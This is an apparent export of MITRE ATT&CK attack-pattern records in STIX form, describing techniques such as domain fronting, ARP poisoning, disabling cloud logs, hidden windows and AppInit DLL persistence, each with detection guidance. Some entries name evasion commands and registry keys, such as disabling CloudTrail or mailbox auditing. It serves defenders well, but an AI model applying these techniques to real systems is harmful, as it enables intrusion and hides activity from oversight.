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attack-pattern | attack-pattern--ca9d3402-ada3-484d-876a-d717bd6e05f2 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-14T23:29:19.581000Z" | "2023-03-30T21:01:52.356000Z" | Domain Fronting | Adversaries may take advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) Domain fronting involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, "domainless" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).
For example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1090.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1090/004"
},
{
"description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
"external_id": null,
"source_name": "Fifield Blocking Resistent Communication through domain fronting 2015",
"url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | If SSL inspection is in place or the traffic is not encrypted, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blocklist or allowlist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-15T12:05:58.755000Z" | "2022-07-22T18:37:22.176000Z" | ARP Cache Poisoning | Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).
The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.
An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.
The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)
Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1557.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1557/002"
},
{
"description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
"external_id": null,
"source_name": "Cylance Cleaver",
"url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
},
{
"description": "Plummer, D. (1982, November). An Ethernet Address Resolution Protocol. Retrieved October 15, 2020.",
"external_id": null,
"source_name": "RFC826 ARP",
"url": "https://tools.ietf.org/html/rfc826"
},
{
"description": "Siles, R. (2003, August). Real World ARP Spoofing. Retrieved October 15, 2020.",
"external_id": null,
"source_name": "Sans ARP Spoofing Aug 2003",
"url": "https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor network traffic for unusual ARP traffic, gratuitous ARP replies may be suspicious.
Consider collecting changes to ARP caches across endpoints for signs of ARP poisoning. For example, if multiple IP addresses map to a single MAC address, this could be an indicator that the ARP cache has been poisoned. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"Windows",
"macOS"
] | 1.1 |
attack-pattern | attack-pattern--cacc40da-4c9e-462c-80d5-fd70a178b12d | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-12T13:52:32.846000Z" | "2024-04-12T21:13:56.431000Z" | Disable or Modify Cloud Logs | An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.
For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic) They may alternatively tamper with logging functionality – for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files.(Citation: AWS Update Trail)(Citation: Pacu Detection Disruption Module) In Office 365, an adversary may disable logging on mail collection activities for specific users by using the `Set-MailboxAuditBypassAssociation` cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.(Citation: Dark Reading Microsoft 365 Attacks 2021) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1562.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562/008"
},
{
"description": "Amazon Web Services. (n.d.). Stopping CloudTrail from Sending Events to CloudWatch Logs. Retrieved October 16, 2020.",
"external_id": null,
"source_name": "Stopping CloudTrail from Sending Events to CloudWatch Logs",
"url": "https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html"
},
{
"description": "AWS. (n.d.). update-trail. Retrieved August 4, 2023.",
"external_id": null,
"source_name": "AWS Update Trail",
"url": "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/cloudtrail/update-trail.html"
},
{
"description": "Dan Whalen. (2019, September 10). Following the CloudTrail: Generating strong AWS security signals with Sumo Logic. Retrieved October 16, 2020.",
"external_id": null,
"source_name": "Following the CloudTrail: Generating strong AWS security signals with Sumo Logic",
"url": "https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/"
},
{
"description": "Google. (n.d.). Configuring Data Access audit logs. Retrieved October 16, 2020.",
"external_id": null,
"source_name": "Configuring Data Access audit logs",
"url": "https://cloud.google.com/logging/docs/audit/configure-data-access"
},
{
"description": "Kelly Sheridan. (2021, August 5). Incident Responders Explore Microsoft 365 Attacks in the Wild. Retrieved March 17, 2023.",
"external_id": null,
"source_name": "Dark Reading Microsoft 365 Attacks 2021",
"url": "https://www.darkreading.com/threat-intelligence/incident-responders-explore-microsoft-365-attacks-in-the-wild/d/d-id/1341591"
},
{
"description": "Microsoft. (n.d.). az monitor diagnostic-settings. Retrieved October 16, 2020.",
"external_id": null,
"source_name": "az monitor diagnostic-settings",
"url": "https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete"
},
{
"description": "Rhino Security Labs. (2021, April 29). Pacu Detection Disruption Module. Retrieved August 4, 2023.",
"external_id": null,
"source_name": "Pacu Detection Disruption Module",
"url": "https://github.com/RhinoSecurityLabs/pacu/blob/master/pacu/modules/detection__disruption/main.py"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor logs for API calls to disable logging. In AWS, monitor for: <code>StopLogging</code> and <code>DeleteTrail</code>.(Citation: Stopping CloudTrail from Sending Events to CloudWatch Logs) In GCP, monitor for: <code>google.logging.v2.ConfigServiceV2.UpdateSink</code>.(Citation: Configuring Data Access audit logs) In Azure, monitor for <code>az monitor diagnostic-settings delete</code>.(Citation: az monitor diagnostic-settings) Additionally, a sudden loss of a log source may indicate that it has been disabled. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"IaaS",
"SaaS",
"Google Workspace",
"Azure AD",
"Office 365"
] | 2.0 |
attack-pattern | attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-21T21:16:18.066000Z" | "2024-04-16T00:15:53.303000Z" | Security Software Discovery | Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as cloud monitoring agents and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.
Adversaries may also utilize the [Cloud API](https://attack.mitre.org/techniques/T1059/009) to discover cloud-native security software installed on compute infrastructure, such as the AWS CloudWatch agent, Azure VM Agent, and Google Cloud Monitor agent. These agents may collect metrics and logs from the VM, which may be centrally aggregated in a cloud-based monitoring platform. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
] | false | [
{
"description": null,
"external_id": "T1518.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1518/001"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
In cloud environments, additionally monitor logs for the usage of APIs that may be used to gather information about security software configurations within the environment. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"IaaS",
"Linux",
"macOS"
] | 1.5 |
attack-pattern | attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-13T20:26:49.433000Z" | "2024-04-13T14:28:20.651000Z" | Hidden Window | Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks.
Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)
On macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.
Similarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is <code>powershell.exe -WindowStyle Hidden</code>.(Citation: PowerShell About 2019)
In addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding <code>explorer.exe</code> process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1564.003",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/003"
},
{
"description": "Hutchins, Marcus. (2015, September 13). Hidden VNC for Beginners. Retrieved November 28, 2023.",
"external_id": null,
"source_name": "Hidden VNC",
"url": "https://www.malwaretech.com/2015/09/hidden-vnc-for-beginners.html"
},
{
"description": "Keshet, Lior. Kessem, Limor. (2017, January 25). Anatomy of an hVNC Attack. Retrieved November 28, 2023.",
"external_id": null,
"source_name": "Anatomy of an hVNC Attack",
"url": "https://securityintelligence.com/anatomy-of-an-hvnc-attack/"
},
{
"description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
"external_id": null,
"source_name": "Antiquated Mac Malware",
"url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
},
{
"description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.",
"external_id": null,
"source_name": "PowerShell About 2019",
"url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"macOS",
"Windows",
"Linux"
] | 1.2 |
attack-pattern | attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-09T14:38:24.334000Z" | "2024-01-30T18:35:58.021000Z" | Python | Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)
Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1059.006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1059/006"
},
{
"description": "Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021.",
"external_id": null,
"source_name": "Zscaler APT31 Covid-19 October 2020",
"url": "https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"Windows",
"macOS"
] | 1.0 |
attack-pattern | attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T16:37:30.015000Z" | "2021-04-15T03:39:08.904000Z" | Identify Roles | Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.
Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1591.004",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1591/004"
},
{
"description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "ThreatPost Broadvoice Leak",
"url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
attack-pattern | attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:31:43.540000Z" | "2023-04-21T12:20:20.711000Z" | Data Encoding | Adversaries may encode data to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system. Use of data encoding may adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, or other binary-to-text and character encoding systems.(Citation: Wikipedia Binary-to-text Encoding) (Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip. | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "command-and-control"
}
] | false | [
{
"description": null,
"external_id": "T1132",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1132"
},
{
"description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
"external_id": null,
"source_name": "University of Birmingham C2",
"url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
},
{
"description": "Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.",
"external_id": null,
"source_name": "Wikipedia Binary-to-text Encoding",
"url": "https://en.wikipedia.org/wiki/Binary-to-text_encoding"
},
{
"description": "Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.",
"external_id": null,
"source_name": "Wikipedia Character Encoding",
"url": "https://en.wikipedia.org/wiki/Character_encoding"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows"
] | 1.2 |
attack-pattern | attack-pattern--cc89ecbd-3d33-4a41-bcca-001e702d18fd | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-01-24T14:52:25.589000Z" | "2023-04-21T12:33:45.568000Z" | AppInit DLLs | Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes. Dynamic-link libraries (DLLs) that are specified in the <code>AppInit_DLLs</code> value in the Registry keys <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> or <code>HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017)
Similar to Process Injection, these values can be abused to obtain elevated privileges by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry) Malicious AppInit DLLs may also provide persistence by continuously being triggered by API activity.
The AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
}
] | false | [
{
"description": null,
"external_id": "T1546.010",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1546/010"
},
{
"description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
"external_id": null,
"source_name": "Elastic Process Injection July 2017",
"url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
},
{
"description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.",
"external_id": null,
"source_name": "AppInit Registry",
"url": "https://support.microsoft.com/en-us/kb/197571"
},
{
"description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.",
"external_id": null,
"source_name": "AppInit Secure Boot",
"url": "https://msdn.microsoft.com/en-us/library/dn280412"
},
{
"description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
"external_id": null,
"source_name": "TechNet Autoruns",
"url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as <code>RegCreateKeyEx</code> and <code>RegSetValueEx</code>. (Citation: Elastic Process Injection July 2017)
Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns)
Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows"
] | 1.1 |
attack-pattern | attack-pattern--cca0ccb6-a068-4574-a722-b1556f86833a | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-02T17:07:01.502000Z" | "2023-09-08T20:28:49.600000Z" | Phishing for Information | Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from [Phishing](https://attack.mitre.org/techniques/T1566) in that the objective is gathering data from the victim rather than executing malicious code.
All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns.
Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means.(Citation: ThreatPost Social Media Phishing)(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin)(Citation: Sophos Attachment)(Citation: GitHub Phishery) Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)
Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by forging or spoofing(Citation: Proofpoint-spoof) the identity of the sender which can be used to fool both the human recipient as well as automated security tools.(Citation: cyberproof-double-bounce)
Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules](https://attack.mitre.org/techniques/T1564/008)).(Citation: Microsoft OAuth Spam 2022)(Citation: Palo Alto Unit 42 VBA Infostealer 2014) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "reconnaissance"
}
] | false | [
{
"description": null,
"external_id": "T1598",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1598"
},
{
"description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "ACSC Email Spoofing",
"url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"
},
{
"description": "Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.",
"external_id": null,
"source_name": "Avertium callback phishing",
"url": "https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing"
},
{
"description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "TrendMictro Phishing",
"url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html"
},
{
"description": "Ducklin, P. (2020, October 2). Serious Security: Phishing without links – when phishers bring along their own web pages. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "Sophos Attachment",
"url": "https://nakedsecurity.sophos.com/2020/10/02/serious-security-phishing-without-links-when-phishers-bring-along-their-own-web-pages/"
},
{
"description": "Itkin, Liora. (2022, September 1). Double-bounced attacks with email spoofing . Retrieved February 24, 2023.",
"external_id": null,
"source_name": "cyberproof-double-bounce",
"url": "https://blog.cyberproof.com/blog/double-bounced-attacks-with-email-spoofing-2022-trends"
},
{
"description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "PCMag FakeLogin",
"url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages"
},
{
"description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "Microsoft Anti Spoofing",
"url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"
},
{
"description": "Microsoft. (2023, September 22). Malicious OAuth applications abuse cloud email services to spread spam. Retrieved March 13, 2023.",
"external_id": null,
"source_name": "Microsoft OAuth Spam 2022",
"url": "https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/"
},
{
"description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020.",
"external_id": null,
"source_name": "ThreatPost Social Media Phishing",
"url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/"
},
{
"description": "Proofpoint. (n.d.). What Is Email Spoofing?. Retrieved February 24, 2023.",
"external_id": null,
"source_name": "Proofpoint-spoof",
"url": "https://www.proofpoint.com/us/threat-reference/email-spoofing"
},
{
"description": "Ryan Hanson. (2016, September 24). phishery. Retrieved October 23, 2020.",
"external_id": null,
"source_name": "GitHub Phishery",
"url": "https://github.com/ryhanson/phishery"
},
{
"description": "Vicky Ray and Rob Downs. (2014, October 29). Examining a VBA-Initiated Infostealer Campaign. Retrieved March 13, 2023.",
"external_id": null,
"source_name": "Palo Alto Unit 42 VBA Infostealer 2014",
"url": "https://unit42.paloaltonetworks.com/examining-vba-initiated-infostealer-campaign/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Depending on the specific method of phishing, the detections can vary. Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)
When it comes to following links, monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.
Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts). | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.3 |
attack-pattern | attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2019-04-17T14:50:05.682000Z" | "2024-02-14T21:00:00.467000Z" | Resource Hijacking | Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.
